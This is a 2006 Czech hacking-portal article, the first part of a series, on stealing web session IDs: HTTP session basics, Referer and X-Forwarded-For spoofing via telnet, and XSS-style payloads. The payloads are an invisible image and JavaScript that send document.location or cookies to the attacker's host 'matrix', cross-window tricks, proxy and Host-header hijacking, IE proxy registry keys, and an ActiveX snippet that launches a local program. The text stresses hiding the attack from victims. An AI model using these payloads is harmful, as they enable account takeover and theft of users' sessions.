# Advanced session stealing (část 1.)

Vložil/a c0stra [1], 23 Květen, 2006 - 12:21

- Hacking [2]
- Hacking method [3]
- Programming [4]
- Security [5]

Před časem jsem se zabýval technikou "kradení" webových session. Dokonce jsem k tomu sepsal takový krátký textík. Teď se opět vracím k tomuto tématu, protože mám pocit že je stále (a ještě ňákou dobu bude) aktuální. Především jsem objevil další způsoby, jak session získat, ať provider dělá co dělá.

Začínám mít pocit, že téma webových session je čím dál víc podceňováno.
S příchodem session implementací přímo ve skriptovacích jazycích (php, asp, jsp...) se totiž čím dál více programátorů na tyto sessny příliš spoléhá a otázku bezpečnosti nedocení.

S tímto trendem jsem se osobně setkal i u komerčních balíku. Tam je většinou vidět, že zkrátka ten webový interface neni jádro funkčnosti a je brán jen jako okrajová věc, a podle toho to taky vypadá :o(

I když toto má být v podstatě pokračování toho zmíněného textíku, nebudu se na něj odkazovat, ale techniku se pokusím vysvetlit kompletně znovu.

**Obsah**

## 1. Web session



Pokusím se trochu přiblížit co pojem session znamená, pokud by to někdo nevěděl. Protokol http, který se používa na webu (nebo kryptovaný https) je původně navržen pouze na funkci "požadavek -> odpověd". To znamená, že není stavový, na rozdíl od např. imap, telnet ftp, ssh, takže nemá mechanismy na udržování jakékoliv informace o klientovi, který request poslal. Informace má k dispozici pouze v momentě spojení - vyřizování žádosti. Jediné co tedy má k dispozici, jsou informace o spojení a informace, které poslal klient v requestu. Session ale znamená, že nejde jen o jednorázový request, ale posloupnost akcí, která musí být jednoznačně přiřazena jednomu requestorovi. Requesty tedy musí mít něco společného a unikátního, aby je server správně přiřadil jednomu uzivateli.

### 1.1 K čemu to je

Tyto session jsou velmi užitečná věc a používají se ve stále větší míře. Používají se všude tam, kde je třeba nějaká autorizace, ale jsou i anonymni internetove obchody apod. Typyckým přikladem jsou webmaily, chaty apod. Jde o to, že třeba u webmailu se vám při přihlášení vygeneruje nějaké jednoznačné ID pro vaši session. Ta se pak používá k vaší identifikaci a zajišťuje, že se vám zobrazí právě **VAŠE** emaily, že odchozí pošta bude z **VAŠÍ** adresy a **NIKOHO JINÉHO**.

### 1.2 Jak session funguje

Jako session ID se dá použít IP adresa, login popř. s heslem, může být i z .htaccessu, nebo prostě nějaké unikátní číslo. Jen se ta zvolená informace musi poslat s každým requestem. U IP je to jasný, u .htaccessu se o to stará browser, ale v ostatnich případech je to výhradne záležitost stránek co dostáváte od serveru.

Důležité je, že server má informace o vaší session hlavně u sebe (např. v databázi, v souboru, v ldapu apod.). Vaše unikátní ID vás opravňuje k tomu aby vám byly zprostředkovány právě ty **vaše** informace.

### 1.3 Prostředky protokolu HTTP na identifikaci session

Prostředky pro identifikaci, které se používají jsou jiné než jsem naznačil výše. IP adresa se prakticky nepoužívá, protože má základní nevýhodu - nemusí být jednoznačná. Běžná praxe totiž je, že se např. celá firma připojuje do internetu přes jednu adresu, nebo chodí přes jednu proxy, nebo nedejbože když uživatelé používají anonymizery :o). Pro identifikaci se tedy nepoužívá, ale zato jako ověřovací doprovodný prvek je velmi užitečná :o(

Login přes .htaccess se používá také málokdy, má pár celkem zásadních nevýhod. Browser neumí logout, což znamená, že zadané jméno a heslo posíla serveru úplně s každým requestem až do jeho zavření. Navíc je to heslo v nezakryptované podobě, jen v base64 a ve skriptu si ho můžete normálně přečíst.

Většinou se tedy používá unikátni id vygenerované serverem a předávané buď v cookies nebo přímo přes GET/POST. To znamená, že vy na svůj vstupní request (může být autorizační) dostanete session ID buď v headeru v cookies (nevidíte ho), nebo je v url všech linků ve stránce, kterou jste dostali, popř. ve všech formulářích, které na stránce jsou. To zajišťuje, že se vaše id pošle s každým requestem (u cookies se o to stará browser).

U metod GET/POST se můžeme setkat se dvěma variantami. Buď je session id posíláno jako proměnná (pak musí být i ve všech formulářích) (např. www.xchat.cz [6], www.centrum.cz [7]), nebo je zakódováno přímo v adresářové struktuře požadavku (www.post.cz [8]). Příklad cookies je třeba www.atlas.cz [9].

### 1.4 Nástroje na ověření session

Je třeba si uvědomit, na které informace od klienta se může webový server spolehnout. Samozřejmě 100% na nic. Jediná skoro 100% informace je klientova IP adresa. Funkční spojení ze spooflé IP adresy přes internet se asi dá vyloučit, to by bylo možné spíš v lokální síti a i tak by to bylo pro útočníka dost práce. Vzhledem k výše uvedeným nedostatkům samozřejmě taky není jisté, zda dotaz je přimo od toho samého stroje, jako začátek session, ale je to stále nejsilnejší ochranný prvek. Pokud se však použije, nedá se realizovat "transparentní" session (nezávislá na připojení, což je výhodné pro dial-upy), protože při každé změně IP adresy vás vykopne.

Občas se také používá položka "Referer" z HTTP hlavičky. Tou se ověřuje, že klient volá stránku z jiné stránky ze serveru, a ne např. ze svojí lokální kopie, nebo z jiného serveru. Tuto položku posílá browser, ale když jste zběhlí v protokolu HTTP, dá se podstrčit třeba telnetem. Vypadalo by to třeba takto:

```
telnet localhost 80
Trying 127.0.0.1...
Connected to sg1.
Escape character is '^]'.

GET /opennix/attach.html HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (compatible; Konqueror/2.2; FreeBSD)
Accept: text/*, image/jpeg, image/png, image/*, */*
Accept-Encoding: x-gzip, gzip, identity
Accept-Charset: Any, utf-8, *
Accept-Language: en, cs_CZ, cs_CZ.ISO_8859-2
Referer: <a href="http://matrix/opennix/session.php?sid=sedtgIUrvhgjhtFhtf587gf<br />
Host:" title="http://matrix/opennix/session.php?sid=sedtgIUrvhgjhtFhtf587gf<br />
Host:">http://matrix/opennix/session.php?sid=sedtgIUrvhgjhtFhtf587gf<br />
Host:</a> matrix
```

Následuje odpověď serveru. Samozřejmě nějakým netcatem nebo perlovým skriptem se to dá udělat celkem bez námahy. Pokud však narazíte na tuto ochranu u PHP, tak se nezdržujte žádným netcatem. Stačí zadat do url požadovanou adresu a přidat proměnnou $_SERVER[]. Pokud totiž zadáváte adresu přimo, browser tuto položku vubec neposílá, a PHP ji tedy nenastavuje. Nastavuje ale proměnné z url query, takže jednoduše zaměníte vaši proměnnou za položku z hlavičky. Tato finta se hodí i u dalšího ověřovacího prvku, který se občas používá jako doplňkový k IP adrese.

Je to položka z hlavičky "x-forwarded-for", která se může nastavovat na proxy a měla by obsahovat skutečnou IP adresu stroje, pro který se požadavek vyřizuje. Postup na podstrčení je stejny. Ale v praxi se člověk občas může setkat s neuvěřitelnými konstrukcemi, že např. je ochrana založená na IP, ale pokud je zadaná položka "x-forwarded-for", vezme se MÍSTO ní, což znamená, že takové ochraně hravě změníte svoji IP adresu prostě tím, že podstrčíte tuhle položku!

## 2. Získání session



Konečně se dostáváme k jádru problému. Cílem tohoto dokumentu je upozornit na bezpečnostní díry v implementaci velkeho množství webových aplikací právě přes vulnerabilní session. Nejlépe se na ně upozorní názornou demonstrací.

### 2.1 Kdy a jak session získat

V dalším textu nás nebude zajímat anonymní session. Budem se zabývat bezpečností "uživatelských" session, tam to má především význam. Taková session má totiž specifický průbeh. Má v zásadě 4 stavy: nepřihlášen, autorizace (login), přihlášen, logout/timeout. Buďto může stav "přihlášen" nastat pro každé session id jen "jednou" (při každém loginu se vygeneruje jiné), nebo je třeba spojeno s konkrétním uživatelem a pak se použije při každém přihlášení tohoto uživatele. Nám je to v zásadě jedno. Důležité je to, že nabourat se do session technikami, které uvedu dál, je možné **POUZE** pokud je session aktivní, tedy uživatel je PŘIHLÁŠEN.

Zpusobů jak session získat je několik. V zásadě se dají rozdělit na lokální a vzdálené. Za lokální považuji odečtení z monitoru, ale i odposlechnutí ze sítě (sniff), protože to vyžaduje být s cílem např. v jedné lokální síti, nebo nějakým způsobem "videt" jeho pakety (třeba arp redirekt). Těmito způsoby se zabývat nebudu, jednak nejsou tak zajímavé a jednak takový náznak by mohl stačit :o).

Budu se spíš věnovat technikám, jak získat session vzdáleně.

### 2.2 Trojský kůň

Nelekejte se nebude řeč o žádném NetBusu nebo BO2K :o). Jenom, když jsem přemýšlel o tom, jak vlastně ty techniky fungují, tak jsou trojským koňům velmi podobné, pouze s jedním velkým rozdílem. Dají se do cíloveho objektu "nainstalovat" vzdáleně!

Nejprve vysvětlím tu podobnost trojanům. Při získávání identifikátoru

session jde v podstatě o to, že my potřebujeme něco, co je "pouze" u cílového klienta, dostat k "nám". Potřebujem tedy dostat nějaký "prostředek" ke klientovi, který to získa a nějakým způsobem doručí k nám nebo někam, kam máme přístup. Všechny techniky, co tu uvedu fungují tak, že celý proces má vždy dvě části. Jednu potřebujeme "podstrčit" klientovi, ta zajistí získání a odeslání informací. Drůha pak je třeba server-side script na webhostingu, která doručenou informaci uloží, a zpřístupní pro vlastní nabourání session (převzetí účtu). Není to hotový trojan?

Je na čase se vrátit k té "vzdálené instalaci". Je asi jasné, že ta "klientská" část je nějaký "chytrý" kód. Někde stačí html, někde zas jde využít javascript. Jen potřebujeme nějakou "bránu" do session. Musí existovat způsob, jak zadat kód, který se v cizí session určitým způsobem interpretuje. Konkrétně to znamená třeba poslat mail, zadat neco do chatovacího okna, popř. do osobních údaju, zkrátka všude, kde se dá něco zadat a pokud možno se to interpretuje, třeba i přes wap. Pokud se podaří infiltrovat session vhodným kódem, je to polovina úspěchu. Pak už záleží jen na zabezpečení.

## 3. Klientská část



Nejdůležitějším krokem je překonat ochrany na "bráně" a infiltrovat session tak jak potřebujem. Důležité ale také je, aby celá činnost byla co nejlépe maskovaná a zakamuflovaná. U některých typů úspěch vyžaduje akci oběti, takže je třeba jí k potřebné akci přesvědčit co nejdůvěryhodněji, aby nepojala podezření. Způsoby, které tady naznačím mají různé stupně obtížnosti, různá úskalí a nutné podmínky a také různá rizika detekce. V praxi je potřeba vždycky zvolit nejlepší řešení pro dané podmínky a občas zaimprovizovat, nebo některé metody zkombinovat či upravit.

### 3.1 GET/POST based aplikace



#### 3.1.1 Získání hlavičky "Referer"

První způsob je na provedení asi nejjednodušší, ale bývá už často ošetřen a navíc vyžaduje akci od oběti. Zase se může povést často tam, kde se nedá interpretovat přímo zaslané HTML. Jedná se o to, že když máte ve stránce odkaz a kliknete na něj, browser v requestu pošle položku "Referer", ve které je kompletní URL stránky ve které odkaz byl, včetně všech proměnnych v url! Jak jednoduché! Stačí někomu podstrčit odkaz na svůj server-side script a tam si Referer přečíst.

Bohužel vzhledem k tomu, že je to nejčastejší typ útoku, většina webovych služeb používá redirekty, takže k vám už se Referer nedostane (dostane se k vám jiný). Navíc může být problém s tím, že musíme klienta nějak nalákat, aby na odkaz kliknul, což už dost lidí zná a jen tak na nejaký link neskočí :o(

### 3.1.2 Referer pro pokročilé "stealth"

Tento způsob je za normálních okolností prakticky nezjistitelný a navíc nepotřebuje žádnou akci od oběti. Využíva toho, že browser posíla Referer i s requestem na obrázek, který je ve stránce. Jako zdroj obrázku ale může být libovolný server-side script.

Takže zdá se to na první pohled jednodušší, ale není. Uskalí je při tom vkládání. Málokde se vám totiž zinterpretujou vámi zadané znaky <>. Ale bez problémů to jde např. v html příloze mailu.

Velkou výhodou však je, že normálně může být nedetekovatelný, pouze v případě, že by obět z nějakého důvodu pojala podezření a začla zkoumat zdroják. Můžete totiž poslat neviditelný obrázek, a pokud máte web server komplet ve správě můžete interpretovat i přípony .jpg nebo .gif :o):

```
<img src="http://matrix/nix.gif" width=0 height=0>
```

Dokonce můžete přes GD knihovnu v PHP vygenerovat, či podstrčit opravdový obrázek, to už je na fantazii každého. :o)

### 3.1.3 Přístup k "document.location"

Tento způsob využívá javascript a jeho přístup k objektu dokument.location (vlastní url). Opět je tu závažný problém. Je třeba dostat k oběti tentokrát složitější kód, tak aby se interpretoval. To jde málokde, např. opět v příloze mailu.

Využití JavaScriptu je o něco pracnější, navíc je třeba zajistit, aby script získané informace odeslal. Ne že by to byl porblém, ale je to víc práce (kódu), než v předchozích případech. Uvedu tu aspoň 2 způsoby.

První je nejjednodušší, ale težko se dá skrýt, jediná výhoda je moment překvapení. Pokud stačí k vlastnímu útoku hodně krátká doba a nezáleží na odhalení (což je nebezpečné, protože oběť může ve zdrojáku objevit pro útočníka nebezpečné adresy), stači použít redirekt:

```
<script language="javascript">
<!--
  document.location = 'http://matrix/?url=' + document.location;
//-->
</script>
```

Máte čas asi tak než se oběť vrátí zpět a zavře session :o(. Musíte si taky stihnout zabalit, než vás najdou podle získanejch adres a registrace či přístupů :o)

Podobného efektu, ale s větší námahou by se dalo dosáhnout formulářem.

Zajímavější a to o dost je v zásadě využití způsobu 3.2. Má to opět výhodu, že se težko detekuje. Práce je to trochu víc:

```
<script language="javascript">
<!--
  document.write('<img src="http://matrix/?url=' + document.location + '" width=0
height=0>');
```

```
//-->
</script>
```

Samozřejmě kdykoliv používáte JavaScript, je tu riziko, že ho browser oběti bude mít vypnutý, nebo pokud budete tvořit nějaké úžasné konstrukce, tak se třeba neinterpretuje správně.

### 3.2 Cookie based aplikace

Cookies jsou původně určeny k tomu, aby si server ke klientovy uložil informace, které mu pak klient po dobu platnosti cookie vrací. Cookie je určeno vždy jen serveru, od kterého bylo přijato, a může být omezeno i přímo na adresář. Proto se poměrně často také využívá pro udržování session. Navíc ho nevidí ani sám uživatel, neboť se posílá přímo v HTTP hlavičce. Browser si tyto cookies ukládá do textových souborů. Protože cookie se nepošle skriptu na jinou doménu, nedá se zde použít technika odkazu, jako při zjišťování referera. Naštěstí však má ke cookies opět přístup všemocný javascript a to přes objekt:

```
document.cookie
```

Je tedy třeba infiltrovat session javascriptem, což s sebou přináší úskalí zmíněná v předešlé části. Zajímavé však v tomto případě je to, že není tak jednoduché se do session nabourat. Potřebujete totiž cookie nastavit u svého prohlížeče. To mužete udělat buď tak, že infiltrujete vlastní účet u dané služby javascriptem na nastaveni cookie, nebo najdete, kam si váš browser cookie ukládá a zapíšete to přímo tam. To ovšem není moc jednuduché např. u exploreru. V Mozille či v Netscapu to najdete v pohodě.

Metody jak získat cookie based session id jsou tedy v zásadě dvě. Buď přímo infiltrovat session javascriptem, který hodnotu cookie zjistí a pošle ji "serverové" části (to když máte kliku a služba se dá přímo javascriptem napadnout), nebo je třeba použít techniku, které se věnuji v následující kapitole...

### 3.3 Advanced "brute force" JavaScript (externí)



Konečně se dostáváme k opravdu zajímavým technikám, kvůli kterým jsem do názvu tohoto dokumentu dal prefix "Advanced" :o). Tyto postupy sice už jsou o dost složitější a vyžadují komplexní přípravu, ale zato si umí poradit s některými i rafinovanými ochranami. Zatím jediná spolehlivá překážka, na kterou tu budeme stále narážet, je kontrola IP adresy.

## 3.3.1 Interoperace mezi různými okny prohlížeče

Důležitá vlastnost JavaScriptu, kterou v dalším textu velmi oceníme, je možnost ovlivňovat ostatní okna prohlížeče a spolupracovat s nimi. Není to tak úplně jednoduché, jak jsem teď řekl, ale i omezená kooperace nám bude dobrá.

Okna které jsou spolu v určitém vztahu, spolu mohou "spolupracovat", tj. získávat informace od ostatních a ovlivňovat je podle svých potřeb. Tím zvláštním vztahem myslím tyto závislosti:

a) Okno bylo otevřeno jiným (přes JavaScript)
b) Okno otevřelo jiné okno.

V obou případech mají "spřízněná" okna ve scriptu svůj handler - instanci třídy window (snad, nevim jestli se ta třída jmenuje zrovna takhle :o)).

Pro případ a) je instance vytvořena automaticky a je to objekt:

```
self.opener
opener        // To by melo take stacit. self ukazuje na sebe
```

Tento objekt je ekvivalentní objektu window, ale obsahuje informace a metody "rodičovského" okna. Přes něj se tedy dá přistupovat k objektům, které normálně známe:

```
self.opener.document
self.opener.location
self.opener.history
...
```

V případě, že v JavaScriptu otevřeme jiné okno, získáme jeho instanci následující konstrukcí přímo při otevírání:

```
<script language="javascript">
<!--
  child = window.open('http://matrix/', 'Attack');
//-->

</script>
```

Objekt child je opět ekvivalentem window ale odkazuje na právě otevřené okno.

Už se nám rýsují možnosti, jak obejít různé redirekty apod. Nejprve naznačím, jakým způsobem by to mohlo jít, ale jak uvidíme dále, ve skutečnosti to vůbec není tak jednoduché, a připravit si tuhle konstrukci je teprve zlomek toho, co je potřeba znát a mít připraveno.

Takový typycký příklad ochrany před "zcizením" session id jsou redirekty url. Prostě když se vám v session vypíše URL, není to link přímo na stránku, kterou vidíte, ale na nějakou mezistránku, která nepotřebuje vaši identifikaci. Odtud se teprve přesměrujete na daný link, ale v hlavičce REFERER už je adresa pouze toho redirektu, který je útočníkovi k ničemu :o(.

Zkusíme tedy na cílovou stránku umístit skript, který nejprve otevře popup window a pak skočí o dvě stránky zpět. Tam by měl být v session a měl by tedy opět mít session id v document.location. Samozřejmě už tam ale není žádný náš Javascript. Takže přichází chvíle pro popup. V něm totiž musí být další JavaScript. Ten má definovaný objekt self.opener, a může si tedy přečíst self.opener.document.location! (Ve skutečnosti to tak jednoduché není, ale k tomu se dostanu). Jediným problémem je synchronizace. Ta se ale dá vyřešit tím, že ten návrat realizuje právě ten "externí" skript v popupu.

CC-BY-SA Security-Portal.cz | secured by paranoid sense | we hack to learn

Toto bohužel nefunguje v případě, že redirekt se otevřel v novém okně.
To je bohužel velmi častá praxe. Nicméně je tu dalšívěc, kterou jsem doposud
nezmínil. Javascript má přístup i k hlavičce referer přes objekt document.referrer
(všimli jste si rozdílu? To neni překlep!). Takže u rodiče je to self.opener.document.referrer.
V tom případě nám tedy stačí vrátit se na redirekt, a tam přečíst referer.
Vyvstává ovšem problém se synchronizací. Potřebujem totiž referer přečíst
v dost krátkém okamžiku, než se opět přesměruje. Navíc nám vznikne smyčka
redirekt <-> náš skript, která sice zvyšuje pravděpodobnost, že se externím
JS do redirektu trefíme, ale rozhodně nepřispěje k zamaskování útoku :o(

No je na čase poukázat na problémy, které těmto postupům zatím poměrně
efektivně brání :o(

## 3.3.2 Omezení práv u dokumentů z různých domén

No zřejmě nejsme první, kdo výše uvedená rizika objevil, takže máme smůlu.
Všechny implementace javascriptu a VB scriptu od určité verze (už dost staré)
mají právě kvůli těmto rizikům v sobě následující ochranu. Pokud uvedeným
způsobem "sdílíte" informace mezi okny nebo framy, musí být ze stejné domény.
Jinak dostanete hlášku, že JS nemá k dokumentu přístup. A máme po legraci.
Znamená to, že když budete chtít nabourat email.seznam.cz, museli byste nejdřív
hacknout server a dostat na něj svoje JavaScripty :o(

Znamená to konec? Néé, jen se budeme muset podívat na to, jak a odkud
vlastně webovy klient získává jméno serveru, ale také jak s ním pracuje
vlastní webový server!

## 3.3.3 Identifikace URL & chování serveru

Zdá se vám nemožné, aby se webový server tvářil jako "někdo jiný"? Tak
se podíváme, odkud bere jméno klient a odkud server. Výsledky vás možná
překvapí.

Nejdřív je třeba si zopakovat, jak celý HTTP mechanismus funguje, včetne
práce browseru a serveru.

1. Uživatel zadá link do adresy, nebo klikne na odkaz či do bookmarku.
Každopádně pro browser to prostě znamená: Jdi na adresu! Browser adresu
rozparsuje podle známého schématu. Pro ilustraci vezmeme třeba následující
adresu:

```
https://admin:tajneheslo@www.matrix.org:913/follow/rabbit.php?he=is&the=one
  1   |   2  |    3     |      4       | 5 |   6  |    7     |     8

kde je:
1  - protokol (nekdy se uvadi schema)
2  - uzivatelske jmeno
3  - heslo   (tyto informace jsou pro .htaccess apod. jedna se o autorizacni
rozsireni HTTP, ale k identifikaci session se nepouziva)
4  - domenove jmeno serveru
5  - port
6  - adresarova cesta
7  - nazev souboru, ktery pozadujeme
8  - promenne oddelene &
```

2. Z jednotlivých částí sestaví http request. Ten muže vypadat buď:

```
GET /follow/rabbit.php?he=is&the=one HTTP/1.1
Host: <a href="http://www.matrix.org<br />
User-Agent:" title="">www.matrix.org<br />
User-Agent:</a> Mozilla/5.0 (compatible; Konqueror/2.2; FreeBSD)
Authorization: Basic:YWRtaW46dGFqbmVoZXNsbwo=
Accept: text/*, image/jpeg, image/png, image/*, */*
 Accept-Encoding: x-gzip, gzip, identity
Accept-Charset: Any, utf-8, *
Accept-Language: en, cs_CZ, cs_CZ.ISO_8859-2
Referer: <a href="http://matrix/opennix/session.php?sid=sedtgIUrvhgjhtFhtf587gf<br />
Connection:" title="http://matrix/opennix/session.php?sid=sedtgIUrvhgjhtFhtf587gf<br
/>
Connection:">http://matrix/opennix/session.php?sid=sedtgIUrvhgjhtFhtf587gf<br />
Connection:</a> Keep-Alive
```

nebo:

```
GET <a href="http://www.matrix.org/follow/rabbit.php?he=is&the=one" title="http://www
.matrix.org/follow/rabbit.php?he=is&the=one">http://www.matrix.org/follow/rabbit.php?
he=is&the=one</a> HTTP/1.0
User-Agent: Mozilla/5.0 (compatible; Konqueror/2.2; FreeBSD)
Authorization: Basic:YWRtaW46dGFqbmVoZXNsbwo=
Accept: text/*, image/jpeg, image/png, image/*, */*
Accept-Encoding: x-gzip, gzip, identity
Accept-Charset: Any, utf-8, *
Accept-Language: en, cs_CZ, cs_CZ.ISO_8859-2
Referer: <a href="http://matrix/opennix/session.php?sid=sedtgIUrvhgjhtFhtf587gf<br />
Connection:" title="http://matrix/opennix/session.php?sid=sedtgIUrvhgjhtFhtf587gf<br
/>
Connection:">http://matrix/opennix/session.php?sid=sedtgIUrvhgjhtFhtf587gf<br />
Connection:</a> Closed
```

3. Teď přichází ta důležitá část. Klient resolvne IP serveru, připojí se a požadavek pošle!

4. Server zpracuje požadavek a pošle odpověď, která obsahuje hlavičku a data. Nás teď data nezajímají, ale hlavička vypadá nějak takhle:

```
HTTP/1.1 404 Not Found
Date: Wed, 10 Apr 2002 17:10:20 GMT
Server: Apache/1.3.19 (Unix) PHP/4.0.4pl1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
```

Jak je vidět, nikde v hlavičce není zmíněno ani jméno serveru, ani požadovaný soubor, ani kompletní požadavek. Z toho plyne zajímavá věc: browser identifikuje DNS serveru i cestu **POUZE** podle toho co **SÁM** poslal! Server to prostě normálně nijak neovlivní. Pouze v případě, kdy chce klienta přesměrovat. To pošle položku

```
Location: http://matrix/index.php
```

CC-BY-SA Security-Portal.cz | secured by paranoid sense | we hack to learn

Velmi zajímavé tedy je, že jméno serveru se v HTTP posílá v hlavičce. Browser pak ať dostane cokoliv, pokud není přesměrován, myslí si že to co dostal je od serveru, který žádal. V případě přímého připojení do internetu je to logické - sám udělal resolve na IP adresu. Ale už nám svítá! Co v případě použití proxy?

Ještě je třeba zjistit, jak se chová server v případe, že po něm vyžadujeme host, který na něm neběží. Samozřejmě mohou byt rozdíly, nevím co říkají příslušné RFC, ale asi nejrozšířenější server Apache se chová zrovna tak jak se nám to hodí. Dnešní webove servery umoznuji provozování tzv. virtuálních domén. To znamená, že server může mít více adres (DNS) a pro každou má jiná data. Fyzicky však má jednu (nebo aspoň jednoznačnou) IP adresu. Takže podle fyzického spojení ani nemůže rozlišit, co po něm klient chce. Rozliší to až podle hlavicky "Host: ", která je také už povinná. Podle ní vyhledá v adresářové struktuře příslušného virtuálu odpověd a pošle ji. Co když ale Host neobsahuje žádný provozovaný virtuál? V tom připadě Apache dává default (primárni virtuál)!

## 3.3.4 Podmínky pro DNS spoofing & proxy

Dáme si tedy dohromady 1+1. Jedna věc je, že z libovolného apache dostaneme skript, i když dotazovaný host v hlavičce je někdo úplně jiný. Pro názornost opět uvedu přiklad úplně ze začátku. Jen změním host v hlavičce a v argumentu telnetu. No a musíte mi věřit, že na tom serveru nemám virtuál "www.mvcr.cz" :o)

```
telnet sg1 80
Trying 127.0.0.1...
Connected to sg1.
Escape character is '^]'.

GET /opennix/attach.html HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (compatible; Konqueror/2.2; FreeBSD)
Accept: text/*, image/jpeg, image/png, image/*, */*
Accept-Encoding: x-gzip, gzip, identity
Accept-Charset: Any, utf-8, *
Accept-Language: en, cs_CZ, cs_CZ.ISO_8859-2
Referer: <a href="http://matrix/opennix/session.php?sid=sedtgIUrvhgjhtFhtf587gf<br />
Host:" title="http://matrix/opennix/session.php?sid=sedtgIUrvhgjhtFhtf587gf<br />
Host:">http://matrix/opennix/session.php?sid=sedtgIUrvhgjhtFhtf587gf<br />
Host:</a> <a href="http://www.mvcr.cz</p>
<p>HTTP/1.1" title="www.mvcr.cz</p>
<p>HTTP/1.1">www.mvcr.cz</p>
<p>HTTP/1.1</p></a> 200 OK
Date: Wed, 10 Apr 2002 18:43:52 GMT
Server: Apache/1.3.19 (Unix) PHP/4.0.4pl1
Last-Modified: Tue, 09 Apr 2002 20:16:14 GMT
ETag: "d3144-478-3cb34c0e"
Accept-Ranges: bytes
Content-Length: 1144
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html
<html>

...
```

Takže jsem normálně dostal požadovanej skript z default virtuálu, což mi taky buď musíte věřit, nebo si to vyzkoušejte na libovolnym apachi, kterej nemá nastaveno proxypass.

Jasně, tak to umím telnetem, ale potřebuju, aby to udělal i browser. To je ale dost jednoduchý. Jak už jsem naznačil výše, cesta k cíli vede přes proxy. Stačí nastavit daný apache server (možná i jiný), kde máme připravené skripty a nastavit port 80. Hotovo. Můžete zadat jakékoliv DNS a dostanete odpověd z tohoto serveru.

## 3.3.5 Přesměrování proxy???

1+1 je sice 2, ale zatím to nestačí :o(. Nesmíme totiž zapomenout, že přes tu proxy musí jít oběť a ne my. Potřebujeme tedy najít nějaký způsob, jak přinutit vzdáleně klienta, aby šel pouze na jeden náš request přes naší proxy. Takže nás čeká asi největší oříšek.

Jak se dá předpokládat, žádná jednoduchá regulérní cesta u tohoto úkolu není. Aspoň jsem zatim žádnou neobjevil. Bude tedy potřeba se podívat po nejakých netradičních způsobech. Rozhodně bude těžký takovou činnost zamaskovat.

Nejprve bychom se mohli zaměřit na nejrozšířenější prohlížeč, jestli tu nebude nejaká dirka :o). Samozřejmě mluvím o M$IE a to by v tom byl czert, aby nejaké to rozšíření neumožnilo přenastavení proxy :o). Co přesne je potřeba hledat, vyplývá z toho, jakým způsobem si M$IE informace o proxy ukládá. Je to samozřejmě podle filosofie neprůhlednosti M$ Windows (tenhle dvojsmysl jsem ani nezamýšlel :o)) v systémových registrech. Bohužel k dispozici na testování mám pouze W98. Tady je třeba dát pozor na to, že nastavení se nastavuje a ukládá zvlášť pro jednotlivá připojení. Jedno nastavení je pro LAN a každé dial-up připojení má tuto informaci zvlášť. Jsou to tyto registry:

pro LAN

```
[HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings]
"User Agent"="Mozilla/4.0 (compatible; MSIE 6.0; Win32)"
"IE5_UA_Backup_Flag"="5.0"
"NoNetAutodial"=dword:00000001
"MigrateProxy"=dword:00000001
"GlobalUserOffline"=dword:00000000
"ProxyEnable"=dword:00000001
"EmailName"="IEUser@"
"AutoConfigProxy"="wininet.dll"
"MimeExclusionListForCache"="multipart/mixed multipart/x-mixed-replace
multipart/x-byteranges "
"WarnOnPost"=hex:01,00,00,00
"UseSchannelDirectly"=hex:01,00,00,00
"EnableHttp1_1"=dword:00000001
"EnableAutodial"=dword:00000001
"EnableSecurityCheck"=hex:00,00,00,00
"PrivacyAdvanced"=dword:00000000
"PrivDiscUiShown"=dword:00000001
"ProxyServer"="127.0.0.1:8080"
```

Pro dial-up připojení je to trochu horší. Jedná se o následující registry:

```
[HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet
```

```
Settings\Connections]
"DefaultConnectionSettings"=hex:3c,00,00,00,0b,00,00,00,03,00,00,00,0e,00,00,\
  00,31,32,37,2e,30,2e,30,2e,31,3a,38,30,38,30,00,00,00,00,00,00,00,00,00,00,\
  00,00,00,00,00,00,a0,9b,95,f1,87,d9,c0,01,01,00,00,00,7f,00,00,01,00,00,00,\
  00,00,00,00,00
"SavedLegacySettings"=hex:3c,00,00,00,f3,02,00,00,03,00,00,00,0e,00,00,00,31,\
  32,37,2e,30,2e,30,2e,31,3a,38,30,38,30,00,00,00,00,00,00,00,00,00,00,00,00,\
  00,00,00,00,a0,9b,95,f1,87,d9,c0,01,01,00,00,00,7f,00,00,01,00,00,00,00,00,\
  00,00,00
"Quick"=hex:3c,00,00,00,02,00,00,00,03,00,00,00,0e,00,00,00,6c,6f,63,61,6c,68,\
  6f,73,74,3a,38,30,38,30,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\
  00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
```

Bordel co :o(, toto je export z registrů. V položce "Quick" je jasně vidět adresa a port proxy (localhost:8080). Ostatní už si dekódujte sami :o)

Potřebujem tedy buď díru, která přímo umožní nastavení proxy, díru která umožní zapsat do registrů potřebné údaje, nebo třeba díru, která umožní spustit program s parametrem (mám na mysli regedit.exe). Pravděpodobně nemůžeme očekávat univerzální řešení, ale tyto články by mohly pomoct.

1. Javascript může zapsat cokoliv do registrů (týka se M$IE 5.0, 5.5, M$ už vydal patch):
http://www.securiteam.com/exploits/5FP080A5FM.html [10]

2. Javascript spustí na vašem počítači libovolný program (týka se M$IE >=5.5, M$):
http://www.zive.cz/H/Uzivatel/Ar.asp?ARI=103841&CAI=2105 [11].

Podle příslušného článku měl být na vině nový objekt popup, který se vytvoří metodou createpopup(). Já jsem samozžejmě nainstaloval MSIE 6.0 abych to ověřil, a zjistil jsem, že problém je ještě horší, než se v článku píše. Na vině totiž není uvedený objekt. MSIE 5.5 a výš totiž umožňuje spouštět některé activeX prvky i ve skriptech přímo z internetu a to i v případě, že v nastavení síte -> zabezpečení nastavíte všecky aktiveX prvky "zakázat"!!! Jediný problém je, že je nemůžete dát do kódu HTML přímo, ale musíte je vkládat dynamicky JavaScriptem nebo VBScriptem. Kód se pak oproti původnímu dost zjednoduší:

```
<script language="javascript">
<!--
  document.write('<OBJECT NAME="X"
CLASSID="CLSID:11111111-1111-1111-1111-11111111111"
 CODEBASE="c:/windows/calc.exe"></object>');
//-->

</script>
```

Takto zjednodušený skript si můžete vyzkoušet na http://galileo.spaceports.com/~shift/calcmsie.html [12].
